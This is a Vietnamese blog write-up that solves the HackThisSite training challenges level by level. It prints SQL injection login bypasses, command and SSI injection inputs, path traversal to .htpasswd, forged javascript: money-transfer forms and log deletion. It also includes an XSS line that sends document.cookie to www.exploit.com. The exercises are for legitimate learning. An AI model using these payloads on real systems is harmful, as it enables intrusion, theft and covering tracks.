Thứ Ba, 18 tháng 3, 2014

write up hackthissite

1. Basic

Level 1: View-source của trang web này, bạn sẽ nhìn thấy mật khẩu của nó. Đây là bài đơn giản nhất. Theo đúng tư duy của người lập trình mới. 
Level 2: Network Security Sam set up a password protection script. He made it load
the real password from an unencrypted text file and compare it to thepassword the user enters. However, he neglected to upload the passwordfile...Sam so sánh mật khẩu không mã hóa từ một file text vơi mật khẩu được nhập vào. Tuy nhiên anh ta quên mất upload file...
--> nếu bạn đánh vào mật khẩu để trống (empty password) thì sao ? 
Level 3: View source 
Level 4: View source 
mail webmaster@hulla-baloo.com. --> đổi mail này thành mail của bạn.
 Level 5: Làm tương tự Mission 4, sẽ nhận được thông báo .Điều này có nghĩa là phí server có kiểm tra referer, referer cho biết form ta gửi đến có phải từ chính trang hackthissite.org hay không ? Vì ta chạy file từ máy tính nên hiển nhiên referer khác với referer server so sánh. Vậy là sao để qua được cái này ?
Một khái niệm là fake referer hoặc một cái khác là HTTP header manipulation sẽ giúp bạn giải quyết vấn đề này.
Kỹ thuật HTTP header manipulation được sử dụng rất rộng rãi trong web hacking. Trong trường hợp này bạn cần có một công cụ cho phép thay đổi referer hay cao cấp hơn dùng một công cụ HTTP header manipulation. Referer là một phần của HTTP. Trước khi dùng công cụ trên thì chưa có referer Công cụ: refcontrol cho trình duyệt firefox (bạn có thể dùng công cụ khác) http://www.stardrifter.org/refcontrol/. Sau đó chạy lại file html đã save lúc nãy và bấm nút send mail.
 Level 6:Phần này là một chút tư duy về mã hóa. Bản thân mission đã đưa ra công cụ mã hóa, bạn cần dùng công cụ này để phát hiện ra quy luận. Để phát hiện ra quy luật thì cần các bộ dữ liệu thử do bạn đưa vào.Mật khẩu đã mã khóa của tôi là c9f69jim. Quy luật như sau:ký tự mã hóa = ký tự bạn đầu trừ đi số thứ tự của nó trong dãy mật khẩu, tính theo bảng ASCII.
VD :
c9f69jim01234567c-0 9-1 f-2 6-3 9-4 j-5 i-6 m-7 = c8d35ecf
 Level 7:  sử dụng lệnh trong linux, nhập vào "&& ls" và view sẽ thấy đáp án
 Level 8: sử dụng lệnh <!--#exec cmd="ls ../"--> để điền vào ô name-->password
 Level 9: quay lại level 8 sau đó điền vào ô name với nội dung giống với level 8, nhưng thêm đoạn "../9" sau cùng, cụ thể điền "<!--#exec cmd="ls ../../9"-->"
 Level 10: sử dụng add-on edit this cookies trên chrome để sửa thông điệp no-->yes, gửi đại pass 
  Level 11: lần lượt thử bằng cách thêm vào cuối url các ký tự a/ , b/ , c/ , ... đến o/ , n/ gì đó sẽ hiện ra các thông tin mật khẩu, nhưng khi đến cuối thư mục thì lại thêm vào .htaccess vào cuối url rồi truy cập, sẽ thấy thêm các thông tin, lấy nó thêm vào cuối url sẽ thấy câu trả lời, cuối cùng chèn vào cuối url chỗ số 11 thành http://....11/index.php, rồi điền câu trả lời.

2. Realistic missions

Level 1 

view code bằng firebug ngay tại dòng Raging Inferno sau đó edit html giá trị vote lên 1000 và click vào vote

Level 2

 dùng sql injection cơ bản, theo phương thức post, điền vào username là ' or'1'='1' --' và submit

Level 3 

 view source, sau đó copy toàn bộ mã, kéo xuống phía dưới tí ta nhìn thấy được tên file là oldindex.html, chạy nó, tiếp theo click vào Submit Poetry, tại ô name nhập ../indexhtml , ô nội dung paste nội dung mã mới copy hồi nảy vào và submit là được

Level 4

sử dụng lỗi sql injection, bảng, cột, hàng,.., bằng cách order by 1, rồi order by 2,...lần lượt mình sẽ thấy nó bị lỗi ở hàng hay cột bao nhiêu, sau đó inject vào url union all select null,null,*,null from email  từ đây sẽ thấy được danh sách các email, sau đó dùng nic của mình để gửi mail cho họ là xong.

Level 5

chọn database, sau đó đăng nhập không pass thử, để ý thấy url có đường dẫn secret, truy cập nó và lấy pass, nhưng pass này đang bị hash bởi md4(xác định bằng cách xem file robots.txt, và tải file hash trong lib về, mở ra tìm thì thấy có md4 xuất hiện=>hash pass là md4), sau cùng dùng cain để bruteforce.

Level 6

giải mã bằng cách dùng site XEDecryption 

Level 7

kiểm tra mã nguồn trên cái ảnh, ta thấy nó để là images/gay.jpg, chứng tỏ trên này có folder images, vậy ta thử chèn vào sau url /images thử xem, thì thấy xuất hiện file admin, ==>đường dẫn đến trang quản trị là url gốc /images/admin .
quay về trang chủ và click vào các link còn lại, thấy cuối mỗi url đều có dạng tên file.txt, ta thử thay đổi đường dẫn của file đó bằng /images/admin/.htpasswd (htpasswd là file chứa password của user trên linux) , sau đó view source thì thấy được cụm tài khoản của admin, copy nó lại lưu thành file .txt và dùng john trong kali để giải mã là xong.

Level 8

B1. vào mục user info--> search: ' or'1'='1-- ' .-->tìm user Gary..
B2. đăng ký tài khoản, đăng nhập và view source bằng firebug trên button movemoney để copy mã, sau đó sửa lại code cho hợp lý và past vào url để có được trang move money cho user Gary, mã như sau:
 javascript:void(document.write('<form name=the_form action=movemoney.php method=post><input type=hiden name=FROM value=GaryWillianHunter><input type=Hidden name=TO value=dropCash><input type=hidden name=AMOUNT value=10000000><input type=submit value="Move Money To A Different Account"></form>'))
 đừng vội click trước khi chưa làm bước 3
B3. chạy tiếp mã sau:
javascript:alert(document.cookie="accountUsername=GaryWilliamHunter") 
 sau đó click button để move money
B4. copy mã tại button clear log, sửa lại cho hợp lý, và chạy nó, nhưng chú ý đề tí:
javascript:void(document.write("<form action='cleardir.php' method='POST'><input type='hidden' name='dir' value=logFiles><input type='submit' value='Clear File In Personal Folder'></form>")) 

Level 9

B1. Đăng nhập, vào mục message, điền tiêu đề và nội dung có đoạn code sau:
 javascript:void(window.location="www.exploit.com/harmless.php?innocent=" + document.cookie)
B2. copy user, password và intID dán vào cho edit thiscookie, sau đó click vào mailling, click vào pay, tới đây đã thành công
B3. xóa dấu vết, dựa vào mục demo để truy tìm file log, ta thấy nó bảo download, suy ra ở đây có thể sẽ xuất hiện file log, bằng cách copy link download, log file nào trong url đó, thấy file log.txt, mở ra thì thấy ip đầu tiên với thời gian truy cập, mục đích là xóa dòng log này đi, bằng cách tại mục mailling view source bằng firebug trên button và thấy gần đó có đường dẫn đến file address, vậy ta sửa lại thành đường dẫn đến file log, sau đó điền ip trong file log khi nảy và click vào button để xóa.

Level 10

B1. đăng nhập, sau đó vào mục home, view source, lấy staff.php để truy cập, nhưng không có tài khoản để login, quay lại trang chủ, chọn mục staff, tìm tên Samantha Miller lấy email đó để đăng nhập với mật khẩu giống user, 
B2. để có quyền admin mà chỉnh sửa thì ta dùng adon firebug để chỉnh sửa id trong cookie từ 0->1 và refresh lại, giờ thì đã có quyền, vào mục cuối cùng, click vào tên của người mà mình đang muốn hack, sau đó view source và tìm các đoạn code như sau, copy điền vào sau url  kèm thêm tham số &grade=5 , lần lượt làm như vậy cho các đoạn code tương tự cho đến khi thành công.
staff.php?action=changegrades&changeaction=modrec&rec=3&studentid=1 (staff.php?action=changegrades&changeaction=modrec&rec=3&studentid=1 &grade=5 là tham số thêm vào sau cùng)

3. Application missions

 Level 1

Dùng Hex Workshop Hex Editor để tìm key

 Level 2

Dùng wireshark để tìm đường dẫn file, sau đó truy cập theo đường dẫn đó sẽ có key

 Level 3

Làm giống leve2, sau đó dựa vào kết quả đó tiếp tục dùng Hex Workshop Hex Editor, search chuỗi thông báo khi chạy sai, từ đó ta sửa lại phía trên thành false, phía dưới thành true

Level 4

Dùng P32Dasm để xem mã lệnh hợp lý, sau đó dùng ollydb để nhảy đến nơi thích hợp

Level 5

dùng ollydbg , tìm với chuỗi please enter password ... sau đó đánh dấu và follow tại đó, rồi follow dump tại các thanh ghi sau quá trình get key nhập vào, ta sẽ thấy đoạn pass, nhưng theo chiều ngược lại có nghĩa.

Level 6 

tương tự như level 5

Level 9

Dùng Ollydbg để sửa các giá trị của các nút khác lại cho giống với nút play, sửa trong cửa sổ hexdump

Level 10

kiểm tra thử viết bằng ngôn ngữ gì, sau đó dùng VB Decompile để xem, sau đó nhảy cho hợp lý nó sẽ ra pass

Level 12

tương tự level 10, nhưng ta phải hiểu được ngôn ngữ vb thì mới làm được, search "__vbaVarTstEq" tại các hàm, sau đó lấy địa chỉ thanh ghi tại đó và dùng ollydbg để tìm, sau khi tìm xong ta BP tại đó, sau đó chạy và thử thì nó dừng lại tịa BP đã đặt, sau đó follow trong cửa sổ stack để lấy giá trị pass, giá trị này bị mất một số ký tự, suy luận và đoán sẽ ra kết quả



1 nhận xét: